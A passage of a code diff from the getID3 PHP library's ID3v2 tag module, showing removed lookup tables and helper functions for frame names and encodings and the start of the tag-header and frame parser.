$COMRReceivedAsLookup[$index] : ''); - } - - /** - * @param int $index - * - * @return string - */ - public static function RVA2ChannelTypeLookup($index) { - static $RVA2ChannelTypeLookup = array( - 0x00 => 'Other', - 0x01 => 'Master volume', - 0x02 => 'Front right', - 0x03 => 'Front left', - 0x04 => 'Back right', - 0x05 => 'Back left', - 0x06 => 'Front centre', - 0x07 => 'Back centre', - 0x08 => 'Subwoofer' - ); - - return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : ''); - } - - /** - * @param string $framename - * - * @return string - */ - public static function FrameNameLongLookup($framename) { - - $begin = __LINE__; - - /** This is not a comment! - - AENC Audio encryption - APIC Attached picture - ASPI Audio seek point index - BUF Recommended buffer size - CNT Play counter - COM Comments - COMM Comments - COMR Commercial frame - CRA Audio encryption - CRM Encrypted meta frame - ENCR Encryption method registration - EQU Equalisation - EQU2 Equalisation (2) - EQUA Equalisation - ETC Event timing codes - ETCO Event timing codes - GEO General encapsulated object - GEOB General encapsulated object - GRID Group identification registration - IPL Involved people list - IPLS Involved people list - LINK Linked information - LNK Linked information - MCDI Music CD identifier - MCI Music CD Identifier - MLL MPEG location lookup table - MLLT MPEG location lookup table - OWNE Ownership frame - PCNT Play counter - PIC Attached picture - POP Popularimeter - POPM Popularimeter - POSS Position synchronisation frame - PRIV Private frame - RBUF Recommended buffer size - REV Reverb - RVA Relative volume adjustment - RVA2 Relative volume adjustment (2) - RVAD Relative volume adjustment - RVRB Reverb - SEEK Seek frame - SIGN Signature frame - SLT Synchronised lyric/text - STC Synced tempo codes - SYLT Synchronised lyric/text - SYTC Synchronised tempo codes - TAL Album/Movie/Show title - TALB Album/Movie/Show title - TBP BPM (Beats Per Minute) - TBPM BPM (beats per minute) - TCM Composer - TCMP Part of a compilation - TCO Content type - TCOM Composer - TCON Content type - TCOP Copyright message - TCP Part of a compilation - TCR Copyright message - TDA Date - TDAT Date - TDEN Encoding time - TDLY Playlist delay - TDOR Original release time - TDRC Recording time - TDRL Release time - TDTG Tagging time - TDY Playlist delay - TEN Encoded by - TENC Encoded by - TEXT Lyricist/Text writer - TFLT File type - TFT File type - TIM Time - TIME Time - TIPL Involved people list - TIT1 Content group description - TIT2 Title/songname/content description - TIT3 Subtitle/Description refinement - TKE Initial key - TKEY Initial key - TLA Language(s) - TLAN Language(s) - TLE Length - TLEN Length - TMCL Musician credits list - TMED Media type - TMOO Mood - TMT Media type - TOA Original artist(s)/performer(s) - TOAL Original album/movie/show title - TOF Original filename - TOFN Original filename - TOL Original Lyricist(s)/text writer(s) - TOLY Original lyricist(s)/text writer(s) - TOPE Original artist(s)/performer(s) - TOR Original release year - TORY Original release year - TOT Original album/Movie/Show title - TOWN File owner/licensee - TP1 Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group - TP2 Band/Orchestra/Accompaniment - TP3 Conductor/Performer refinement - TP4 Interpreted, remixed, or otherwise modified by - TPA Part of a set - TPB Publisher - TPE1 Lead performer(s)/Soloist(s) - TPE2 Band/orchestra/accompaniment - TPE3 Conductor/performer refinement - TPE4 Interpreted, remixed, or otherwise modified by - TPOS Part of a set - TPRO Produced notice - TPUB Publisher - TRC ISRC (International Standard Recording Code) - TRCK Track number/Position in set - TRD Recording dates - TRDA Recording dates - TRK Track number/Position in set - TRSN Internet radio station name - TRSO Internet radio station owner - TS2 Album-Artist sort order - TSA Album sort order - TSC Composer sort order - TSI Size - TSIZ Size - TSO2 Album-Artist sort order - TSOA Album sort order - TSOC Composer sort order - TSOP Performer sort order - TSOT Title sort order - TSP Performer sort order - TSRC ISRC (international standard recording code) - TSS Software/hardware and settings used for encoding - TSSE Software/Hardware and settings used for encoding - TSST Set subtitle - TST Title sort order - TT1 Content group description - TT2 Title/Songname/Content description - TT3 Subtitle/Description refinement - TXT Lyricist/text writer - TXX User defined text information frame - TXXX User defined text information frame - TYE Year - TYER Year - UFI Unique file identifier - UFID Unique file identifier - ULT Unsynchronised lyric/text transcription - USER Terms of use - USLT Unsynchronised lyric/text transcription - WAF Official audio file webpage - WAR Official artist/performer webpage - WAS Official audio source webpage - WCM Commercial information - WCOM Commercial information - WCOP Copyright/Legal information - WCP Copyright/Legal information - WOAF Official audio file webpage - WOAR Official artist/performer webpage - WOAS Official audio source webpage - WORS Official Internet radio station homepage - WPAY Payment - WPB Publishers official webpage - WPUB Publishers official webpage - WXX User defined URL link frame - WXXX User defined URL link frame - TFEA Featured Artist - TSTU Recording Studio - rgad Replay Gain Adjustment - - */ - - return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long'); - - // Last three: - // from Helium2 [www.helium2.com] - // from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html - } - - /** - * @param string $framename - * - * @return string - */ - public static function FrameNameShortLookup($framename) { - - $begin = __LINE__; - - /** This is not a comment! - - AENC audio_encryption - APIC attached_picture - ASPI audio_seek_point_index - BUF recommended_buffer_size - CNT play_counter - COM comment - COMM comment - COMR commercial_frame - CRA audio_encryption - CRM encrypted_meta_frame - ENCR encryption_method_registration - EQU equalisation - EQU2 equalisation - EQUA equalisation - ETC event_timing_codes - ETCO event_timing_codes - GEO general_encapsulated_object - GEOB general_encapsulated_object - GRID group_identification_registration - IPL involved_people_list - IPLS involved_people_list - LINK linked_information - LNK linked_information - MCDI music_cd_identifier - MCI music_cd_identifier - MLL mpeg_location_lookup_table - MLLT mpeg_location_lookup_table - OWNE ownership_frame - PCNT play_counter - PIC attached_picture - POP popularimeter - POPM popularimeter - POSS position_synchronisation_frame - PRIV private_frame - RBUF recommended_buffer_size - REV reverb - RVA relative_volume_adjustment - RVA2 relative_volume_adjustment - RVAD relative_volume_adjustment - RVRB reverb - SEEK seek_frame - SIGN signature_frame - SLT synchronised_lyric - STC synced_tempo_codes - SYLT synchronised_lyric - SYTC synchronised_tempo_codes - TAL album - TALB album - TBP bpm - TBPM bpm - TCM composer - TCMP part_of_a_compilation - TCO genre - TCOM composer - TCON genre - TCOP copyright_message - TCP part_of_a_compilation - TCR copyright_message - TDA date - TDAT date - TDEN encoding_time - TDLY playlist_delay - TDOR original_release_time - TDRC recording_time - TDRL release_time - TDTG tagging_time - TDY playlist_delay - TEN encoded_by - TENC encoded_by - TEXT lyricist - TFLT file_type - TFT file_type - TIM time - TIME time - TIPL involved_people_list - TIT1 content_group_description - TIT2 title - TIT3 subtitle - TKE initial_key - TKEY initial_key - TLA language - TLAN language - TLE length - TLEN length - TMCL musician_credits_list - TMED media_type - TMOO mood - TMT media_type - TOA original_artist - TOAL original_album - TOF original_filename - TOFN original_filename - TOL original_lyricist - TOLY original_lyricist - TOPE original_artist - TOR original_year - TORY original_year - TOT original_album - TOWN file_owner - TP1 artist - TP2 band - TP3 conductor - TP4 remixer - TPA part_of_a_set - TPB publisher - TPE1 artist - TPE2 band - TPE3 conductor - TPE4 remixer - TPOS part_of_a_set - TPRO produced_notice - TPUB publisher - TRC isrc - TRCK track_number - TRD recording_dates - TRDA recording_dates - TRK track_number - TRSN internet_radio_station_name - TRSO internet_radio_station_owner - TS2 album_artist_sort_order - TSA album_sort_order - TSC composer_sort_order - TSI size - TSIZ size - TSO2 album_artist_sort_order - TSOA album_sort_order - TSOC composer_sort_order - TSOP performer_sort_order - TSOT title_sort_order - TSP performer_sort_order - TSRC isrc - TSS encoder_settings - TSSE encoder_settings - TSST set_subtitle - TST title_sort_order - TT1 content_group_description - TT2 title - TT3 subtitle - TXT lyricist - TXX text - TXXX text - TYE year - TYER year - UFI unique_file_identifier - UFID unique_file_identifier - ULT unsynchronised_lyric - USER terms_of_use - USLT unsynchronised_lyric - WAF url_file - WAR url_artist - WAS url_source - WCM commercial_information - WCOM commercial_information - WCOP copyright - WCP copyright - WOAF url_file - WOAR url_artist - WOAS url_source - WORS url_station - WPAY url_payment - WPB url_publisher - WPUB url_publisher - WXX url_user - WXXX url_user - TFEA featured_artist - TSTU recording_studio - rgad replay_gain_adjustment - - */ - - return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short'); - } - - /** - * @param string $encoding - * - * @return string - */ - public static function TextEncodingTerminatorLookup($encoding) { - // http://www.id3.org/id3v2.4.0-structure.txt - // Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings: - static $TextEncodingTerminatorLookup = array( - 0 => "\x00", // $00 ISO-8859-1. Terminated with $00. - 1 => "\x00\x00", // $01 UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00. - 2 => "\x00\x00", // $02 UTF-16BE encoded Unicode without BOM. Terminated with $00 00. - 3 => "\x00", // $03 UTF-8 encoded Unicode. Terminated with $00. - 255 => "\x00\x00" - ); - return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : "\x00"); - } - - /** - * @param int $encoding - * - * @return string - */ - public static function TextEncodingNameLookup($encoding) { - // http://www.id3.org/id3v2.4.0-structure.txt - // Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings: - static $TextEncodingNameLookup = array( - 0 => 'ISO-8859-1', // $00 ISO-8859-1. Terminated with $00. - 1 => 'UTF-16', // $01 UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00. - 2 => 'UTF-16BE', // $02 UTF-16BE encoded Unicode without BOM. Terminated with $00 00. - 3 => 'UTF-8', // $03 UTF-8 encoded Unicode. Terminated with $00. - 255 => 'UTF-16BE' - ); - return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1'); - } - - /** - * @param string $string - * @param string $terminator - * - * @return string - */ - public static function RemoveStringTerminator($string, $terminator) { - // Null terminator at end of comment string is somewhat ambiguous in the specification, may or may not be implemented by various taggers. Remove terminator only if present. - // https://github.com/JamesHeinrich/getID3/issues/121 - // https://community.mp3tag.de/t/x-trailing-nulls-in-id3v2-comments/19227 - if (substr($string, -strlen($terminator), strlen($terminator)) === $terminator) { - $string = substr($string, 0, -strlen($terminator)); - } - return $string; - } - - /** - * @param string $string - * - * @return string - */ - public static function MakeUTF16emptyStringEmpty($string) { - if (in_array($string, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) { - // if string only contains a BOM or terminator then make it actually an empty string - $string = ''; - } - return $string; - } - - /** - * @param string $framename - * @param int $id3v2majorversion - * - * @return bool|int - */ - public static function IsValidID3v2FrameName($framename, $id3v2majorversion) { - switch ($id3v2majorversion) { - case 2: - return preg_match('#[A-Z][A-Z0-9]{2}#', $framename); - - case 3: - case 4: - return preg_match('#[A-Z][A-Z0-9]{3}#', $framename); - } - return false; - } - - /** - * @param string $numberstring - * @param bool $allowdecimal - * @param bool $allownegative - * - * @return bool - */ - public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) { - for ($i = 0; $i < strlen($numberstring); $i++) { - if ((chr($numberstring[$i]) < chr('0')) || (chr($numberstring[$i]) > chr('9'))) { - if (($numberstring[$i] == '.') && $allowdecimal) { - // allowed - } elseif (($numberstring[$i] == '-') && $allownegative && ($i == 0)) { - // allowed - } else { - return false; - } - } - } - return true; - } - - /** - * @param string $datestamp - * - * @return bool - */ - public static function IsValidDateStampString($datestamp) { - if (strlen($datestamp) != 8) { - return false; - } - if (!self::IsANumber($datestamp, false)) { - return false; - } - $year = substr($datestamp, 0, 4); - $month = substr($datestamp, 4, 2); - $day = substr($datestamp, 6, 2); - if (($year == 0) || ($month == 0) || ($day == 0)) { - return false; - } - if ($month > 12) { - return false; - } - if ($day > 31) { - return false; - } - if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) { - return false; - } - if (($day > 29) && ($month == 2)) { - return false; - } - return true; - } - - /** - * @param int $majorversion - * - * @return int - */ - public static function ID3v2HeaderLength($majorversion) { - return (($majorversion == 2) ? 6 : 10); - } - - /** - * @param string $frame_name - * - * @return string|false - */ - public static function ID3v22iTunesBrokenFrameName($frame_name) { - // iTunes (multiple versions) has been known to write ID3v2.3 style frames - // but use ID3v2.2 frame names, right-padded using either [space] or [null] - // to make them fit in the 4-byte frame name space of the ID3v2.3 frame. - // This function will detect and translate the corrupt frame name into ID3v2.3 standard. - static $ID3v22_iTunes_BrokenFrames = array( - 'BUF' => 'RBUF', // Recommended buffer size - 'CNT' => 'PCNT', // Play counter - 'COM' => 'COMM', // Comments - 'CRA' => 'AENC', // Audio encryption - 'EQU' => 'EQUA', // Equalisation - 'ETC' => 'ETCO', // Event timing codes - 'GEO' => 'GEOB', // General encapsulated object - 'IPL' => 'IPLS', // Involved people list - 'LNK' => 'LINK', // Linked information - 'MCI' => 'MCDI', // Music CD identifier - 'MLL' => 'MLLT', // MPEG location lookup table - 'PIC' => 'APIC', // Attached picture - 'POP' => 'POPM', // Popularimeter - 'REV' => 'RVRB', // Reverb - 'RVA' => 'RVAD', // Relative volume adjustment - 'SLT' => 'SYLT', // Synchronised lyric/text - 'STC' => 'SYTC', // Synchronised tempo codes - 'TAL' => 'TALB', // Album/Movie/Show title - 'TBP' => 'TBPM', // BPM (beats per minute) - 'TCM' => 'TCOM', // Composer - 'TCO' => 'TCON', // Content type - 'TCP' => 'TCMP', // Part of a compilation - 'TCR' => 'TCOP', // Copyright message - 'TDA' => 'TDAT', // Date - 'TDY' => 'TDLY', // Playlist delay - 'TEN' => 'TENC', // Encoded by - 'TFT' => 'TFLT', // File type - 'TIM' => 'TIME', // Time - 'TKE' => 'TKEY', // Initial key - 'TLA' => 'TLAN', // Language(s) - 'TLE' => 'TLEN', // Length - 'TMT' => 'TMED', // Media type - 'TOA' => 'TOPE', // Original artist(s)/performer(s) - 'TOF' => 'TOFN', // Original filename - 'TOL' => 'TOLY', // Original lyricist(s)/text writer(s) - 'TOR' => 'TORY', // Original release year - 'TOT' => 'TOAL', // Original album/movie/show title - 'TP1' => 'TPE1', // Lead performer(s)/Soloist(s) - 'TP2' => 'TPE2', // Band/orchestra/accompaniment - 'TP3' => 'TPE3', // Conductor/performer refinement - 'TP4' => 'TPE4', // Interpreted, remixed, or otherwise modified by - 'TPA' => 'TPOS', // Part of a set - 'TPB' => 'TPUB', // Publisher - 'TRC' => 'TSRC', // ISRC (international standard recording code) - 'TRD' => 'TRDA', // Recording dates - 'TRK' => 'TRCK', // Track number/Position in set - 'TS2' => 'TSO2', // Album-Artist sort order - 'TSA' => 'TSOA', // Album sort order - 'TSC' => 'TSOC', // Composer sort order - 'TSI' => 'TSIZ', // Size - 'TSP' => 'TSOP', // Performer sort order - 'TSS' => 'TSSE', // Software/Hardware and settings used for encoding - 'TST' => 'TSOT', // Title sort order - 'TT1' => 'TIT1', // Content group description - 'TT2' => 'TIT2', // Title/songname/content description - 'TT3' => 'TIT3', // Subtitle/Description refinement - 'TXT' => 'TEXT', // Lyricist/Text writer - 'TXX' => 'TXXX', // User defined text information frame - 'TYE' => 'TYER', // Year - 'UFI' => 'UFID', // Unique file identifier - 'ULT' => 'USLT', // Unsynchronised lyric/text transcription - 'WAF' => 'WOAF', // Official audio file webpage - 'WAR' => 'WOAR', // Official artist/performer webpage - 'WAS' => 'WOAS', // Official audio source webpage - 'WCM' => 'WCOM', // Commercial information - 'WCP' => 'WCOP', // Copyright/Legal information - 'WPB' => 'WPUB', // Publishers official webpage - 'WXX' => 'WXXX', // User defined URL link frame - ); - if (strlen($frame_name) == 4) { - if ((substr($frame_name, 3, 1) == ' ') || (substr($frame_name, 3, 1) == "\x00")) { - if (isset($ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)])) { - return $ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)]; - } - } - } - return false; - } - -} - + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +/// // +// module.tag.id3v2.php // +// module for analyzing ID3v2 tags // +// dependencies: module.tag.id3v1.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v1.php', __FILE__, true); + +class getid3_id3v2 extends getid3_handler +{ + public $StartingOffset = 0; + + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + // Overall tag structure: + // +-----------------------------+ + // | Header (10 bytes) | + // +-----------------------------+ + // | Extended Header | + // | (variable length, OPTIONAL) | + // +-----------------------------+ + // | Frames (variable length) | + // +-----------------------------+ + // | Padding | + // | (variable length, OPTIONAL) | + // +-----------------------------+ + // | Footer (10 bytes, OPTIONAL) | + // +-----------------------------+ + + // Header + // ID3v2/file identifier "ID3" + // ID3v2 version $04 00 + // ID3v2 flags (%ab000000 in v2.2, %abc00000 in v2.3, %abcd0000 in v2.4.x) + // ID3v2 size 4 * %0xxxxxxx + + + // shortcuts + $info['id3v2']['header'] = true; + $thisfile_id3v2 = &$info['id3v2']; + $thisfile_id3v2['flags'] = array(); + $thisfile_id3v2_flags = &$thisfile_id3v2['flags']; + + + $this->fseek($this->StartingOffset); + $header = $this->fread(10); + if (substr($header, 0, 3) == 'ID3' && strlen($header) == 10) { + + $thisfile_id3v2['majorversion'] = ord($header[3]); + $thisfile_id3v2['minorversion'] = ord($header[4]); + + // shortcut + $id3v2_majorversion = &$thisfile_id3v2['majorversion']; + + } else { + + unset($info['id3v2']); + return false; + + } + + if ($id3v2_majorversion > 4) { // this script probably won't correctly parse ID3v2.5.x and above (if it ever exists) + + $this->error('this script only parses up to ID3v2.4.x - this tag is ID3v2.'.$id3v2_majorversion.'.'.$thisfile_id3v2['minorversion']); + return false; + + } + + $id3_flags = ord($header[5]); + switch ($id3v2_majorversion) { + case 2: + // %ab000000 in v2.2 + $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation + $thisfile_id3v2_flags['compression'] = (bool) ($id3_flags & 0x40); // b - Compression + break; + + case 3: + // %abc00000 in v2.3 + $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation + $thisfile_id3v2_flags['exthead'] = (bool) ($id3_flags & 0x40); // b - Extended header + $thisfile_id3v2_flags['experim'] = (bool) ($id3_flags & 0x20); // c - Experimental indicator + break; + + case 4: + // %abcd0000 in v2.4 + $thisfile_id3v2_flags['unsynch'] = (bool) ($id3_flags & 0x80); // a - Unsynchronisation + $thisfile_id3v2_flags['exthead'] = (bool) ($id3_flags & 0x40); // b - Extended header + $thisfile_id3v2_flags['experim'] = (bool) ($id3_flags & 0x20); // c - Experimental indicator + $thisfile_id3v2_flags['isfooter'] = (bool) ($id3_flags & 0x10); // d - Footer present + break; + } + + $thisfile_id3v2['headerlength'] = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn't include 10-byte header length + + $thisfile_id3v2['tag_offset_start'] = $this->StartingOffset; + $thisfile_id3v2['tag_offset_end'] = $thisfile_id3v2['tag_offset_start'] + $thisfile_id3v2['headerlength']; + + + + // create 'encoding' key - used by getid3::HandleAllTags() + // in ID3v2 every field can have it's own encoding type + // so force everything to UTF-8 so it can be handled consistantly + $thisfile_id3v2['encoding'] = 'UTF-8'; + + + // Frames + + // All ID3v2 frames consists of one frame header followed by one or more + // fields containing the actual information. The header is always 10 + // bytes and laid out as follows: + // + // Frame ID $xx xx xx xx (four characters) + // Size 4 * %0xxxxxxx + // Flags $xx xx + + $sizeofframes = $thisfile_id3v2['headerlength'] - 10; // not including 10-byte initial header + if (!empty($thisfile_id3v2['exthead']['length'])) { + $sizeofframes -= ($thisfile_id3v2['exthead']['length'] + 4); + } + if (!empty($thisfile_id3v2_flags['isfooter'])) { + $sizeofframes -= 10; // footer takes last 10 bytes of ID3v2 header, after frame data, before audio + } + if ($sizeofframes > 0) { + + $framedata = $this->fread($sizeofframes); // read all frames from file into $framedata variable + + // if entire frame data is unsynched, de-unsynch it now (ID3v2.3.x) + if (!empty($thisfile_id3v2_flags['unsynch']) && ($id3v2_majorversion <= 3)) { + $framedata = $this->DeUnsynchronise($framedata); + } + // [in ID3v2.4.0] Unsynchronisation [S:6.1] is done on frame level, instead + // of on tag level, making it easier to skip frames, increasing the streamability + // of the tag. The unsynchronisation flag in the header [S:3.1] indicates that + // there exists an unsynchronised frame, while the new unsynchronisation flag in + // the frame header [S:4.1.2] indicates unsynchronisation. + + + //$framedataoffset = 10 + ($thisfile_id3v2['exthead']['length'] ? $thisfile_id3v2['exthead']['length'] + 4 : 0); // how many bytes into the stream - start from after the 10-byte header (and extended header length+4, if present) + $framedataoffset = 10; // how many bytes into the stream - start from after the 10-byte header + + + // Extended Header + if (!empty($thisfile_id3v2_flags['exthead'])) { + $extended_header_offset = 0; + + if ($id3v2_majorversion == 3) { + + // v2.3 definition: + //Extended header size $xx xx xx xx // 32-bit integer + //Extended Flags $xx xx + // %x0000000 %00000000 // v2.3 + // x - CRC data present + //Size of padding $xx xx xx xx + + $thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), 0); + $extended_header_offset += 4; + + $thisfile_id3v2['exthead']['flag_bytes'] = 2; + $thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes'])); + $extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes']; + + $thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x8000); + + $thisfile_id3v2['exthead']['padding_size'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4)); + $extended_header_offset += 4; + + if ($thisfile_id3v2['exthead']['flags']['crc']) { + $thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4)); + $extended_header_offset += 4; + } + $extended_header_offset += $thisfile_id3v2['exthead']['padding_size']; + + } elseif ($id3v2_majorversion == 4) { + + // v2.4 definition: + //Extended header size 4 * %0xxxxxxx // 28-bit synchsafe integer + //Number of flag bytes $01 + //Extended Flags $xx + // %0bcd0000 // v2.4 + // b - Tag is an update + // Flag data length $00 + // c - CRC data present + // Flag data length $05 + // Total frame CRC 5 * %0xxxxxxx + // d - Tag restrictions + // Flag data length $01 + + $thisfile_id3v2['exthead']['length'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 4), true); + $extended_header_offset += 4; + + $thisfile_id3v2['exthead']['flag_bytes'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should always be 1 + $extended_header_offset += 1; + + $thisfile_id3v2['exthead']['flag_raw'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $thisfile_id3v2['exthead']['flag_bytes'])); + $extended_header_offset += $thisfile_id3v2['exthead']['flag_bytes']; + + $thisfile_id3v2['exthead']['flags']['update'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x40); + $thisfile_id3v2['exthead']['flags']['crc'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x20); + $thisfile_id3v2['exthead']['flags']['restrictions'] = (bool) ($thisfile_id3v2['exthead']['flag_raw'] & 0x10); + + if ($thisfile_id3v2['exthead']['flags']['update']) { + $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 0 + $extended_header_offset += 1; + } + + if ($thisfile_id3v2['exthead']['flags']['crc']) { + $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 5 + $extended_header_offset += 1; + $thisfile_id3v2['exthead']['flag_data']['crc'] = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, $ext_header_chunk_length), true, false); + $extended_header_offset += $ext_header_chunk_length; + } + + if ($thisfile_id3v2['exthead']['flags']['restrictions']) { + $ext_header_chunk_length = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); // should be 1 + $extended_header_offset += 1; + + // %ppqrrstt + $restrictions_raw = getid3_lib::BigEndian2Int(substr($framedata, $extended_header_offset, 1)); + $extended_header_offset += 1; + $thisfile_id3v2['exthead']['flags']['restrictions']['tagsize'] = ($restrictions_raw & 0xC0) >> 6; // p - Tag size restrictions + $thisfile_id3v2['exthead']['flags']['restrictions']['textenc'] = ($restrictions_raw & 0x20) >> 5; // q - Text encoding restrictions + $thisfile_id3v2['exthead']['flags']['restrictions']['textsize'] = ($restrictions_raw & 0x18) >> 3; // r - Text fields size restrictions + $thisfile_id3v2['exthead']['flags']['restrictions']['imgenc'] = ($restrictions_raw & 0x04) >> 2; // s - Image encoding restrictions + $thisfile_id3v2['exthead']['flags']['restrictions']['imgsize'] = ($restrictions_raw & 0x03) >> 0; // t - Image size restrictions + + $thisfile_id3v2['exthead']['flags']['restrictions_text']['tagsize'] = $this->LookupExtendedHeaderRestrictionsTagSizeLimits($thisfile_id3v2['exthead']['flags']['restrictions']['tagsize']); + $thisfile_id3v2['exthead']['flags']['restrictions_text']['textenc'] = $this->LookupExtendedHeaderRestrictionsTextEncodings($thisfile_id3v2['exthead']['flags']['restrictions']['textenc']); + $thisfile_id3v2['exthead']['flags']['restrictions_text']['textsize'] = $this->LookupExtendedHeaderRestrictionsTextFieldSize($thisfile_id3v2['exthead']['flags']['restrictions']['textsize']); + $thisfile_id3v2['exthead']['flags']['restrictions_text']['imgenc'] = $this->LookupExtendedHeaderRestrictionsImageEncoding($thisfile_id3v2['exthead']['flags']['restrictions']['imgenc']); + $thisfile_id3v2['exthead']['flags']['restrictions_text']['imgsize'] = $this->LookupExtendedHeaderRestrictionsImageSizeSize($thisfile_id3v2['exthead']['flags']['restrictions']['imgsize']); + } + + if ($thisfile_id3v2['exthead']['length'] != $extended_header_offset) { + $this->warning('ID3v2.4 extended header length mismatch (expecting '.intval($thisfile_id3v2['exthead']['length']).', found '.intval($extended_header_offset).')'); + } + } + + $framedataoffset += $extended_header_offset; + $framedata = substr($framedata, $extended_header_offset); + } // end extended header + + + while (isset($framedata) && (strlen($framedata) > 0)) { // cycle through until no more frame data is left to parse + if (strlen($framedata) <= $this->ID3v2HeaderLength($id3v2_majorversion)) { + // insufficient room left in ID3v2 header for actual data - must be padding + $thisfile_id3v2['padding']['start'] = $framedataoffset; + $thisfile_id3v2['padding']['length'] = strlen($framedata); + $thisfile_id3v2['padding']['valid'] = true; + for ($i = 0; $i < $thisfile_id3v2['padding']['length']; $i++) { + if ($framedata[$i] != "\x00") { + $thisfile_id3v2['padding']['valid'] = false; + $thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i; + $this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining '.($thisfile_id3v2['padding']['length'] - $i).' bytes are considered invalid)'); + break; + } + } + break; // skip rest of ID3v2 header + } + $frame_header = null; + $frame_name = null; + $frame_size = null; + $frame_flags = null; + if ($id3v2_majorversion == 2) { + // Frame ID $xx xx xx (three characters) + // Size $xx xx xx (24-bit integer) + // Flags $xx xx + + $frame_header = substr($framedata, 0, 6); // take next 6 bytes for header + $framedata = substr($framedata, 6); // and leave the rest in $framedata + $frame_name = substr($frame_header, 0, 3); + $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 3, 3), 0); + $frame_flags = 0; // not used for anything in ID3v2.2, just set to avoid E_NOTICEs + + } elseif ($id3v2_majorversion > 2) { + + // Frame ID $xx xx xx xx (four characters) + // Size $xx xx xx xx (32-bit integer in v2.3, 28-bit synchsafe in v2.4+) + // Flags $xx xx + + $frame_header = substr($framedata, 0, 10); // take next 10 bytes for header + $framedata = substr($framedata, 10); // and leave the rest in $framedata + + $frame_name = substr($frame_header, 0, 4); + if ($id3v2_majorversion == 3) { + $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer + } else { // ID3v2.4+ + $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 1); // 32-bit synchsafe integer (28-bit value) + } + + if ($frame_size < (strlen($framedata) + 4)) { + $nextFrameID = substr($framedata, $frame_size, 4); + if ($this->IsValidID3v2FrameName($nextFrameID, $id3v2_majorversion)) { + // next frame is OK + } elseif (($frame_name == "\x00".'MP3') || ($frame_name == "\x00\x00".'MP') || ($frame_name == ' MP3') || ($frame_name == 'MP3e')) { + // MP3ext known broken frames - "ok" for the purposes of this test + } elseif (($id3v2_majorversion == 4) && ($this->IsValidID3v2FrameName(substr($framedata, getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0), 4), 3))) { + $this->warning('ID3v2 tag written as ID3v2.4, but with non-synchsafe integers (ID3v2.3 style). Older versions of (Helium2; iTunes) are known culprits of this. Tag has been parsed as ID3v2.3'); + $id3v2_majorversion = 3; + $frame_size = getid3_lib::BigEndian2Int(substr($frame_header, 4, 4), 0); // 32-bit integer + } + } + + + $frame_flags = getid3_lib::BigEndian2Int(substr($frame_header, 8, 2)); + } + + if ((($id3v2_majorversion == 2) && ($frame_name == "\x00\x00\x00")) || ($frame_name == "\x00\x00\x00\x00")) { + // padding encountered + + $thisfile_id3v2['padding']['start'] = $framedataoffset; + $thisfile_id3v2['padding']['length'] = strlen($frame_header) + strlen($framedata); + $thisfile_id3v2['padding']['valid'] = true; + + $len = strlen($framedata); + for ($i = 0; $i < $len; $i++) { + if ($framedata[$i] != "\x00") { + $thisfile_id3v2['padding']['valid'] = false; + $thisfile_id3v2['padding']['errorpos'] = $thisfile_id3v2['padding']['start'] + $i; + $this->warning('Invalid ID3v2 padding found at offset '.$thisfile_id3v2['padding']['errorpos'].' (the remaining 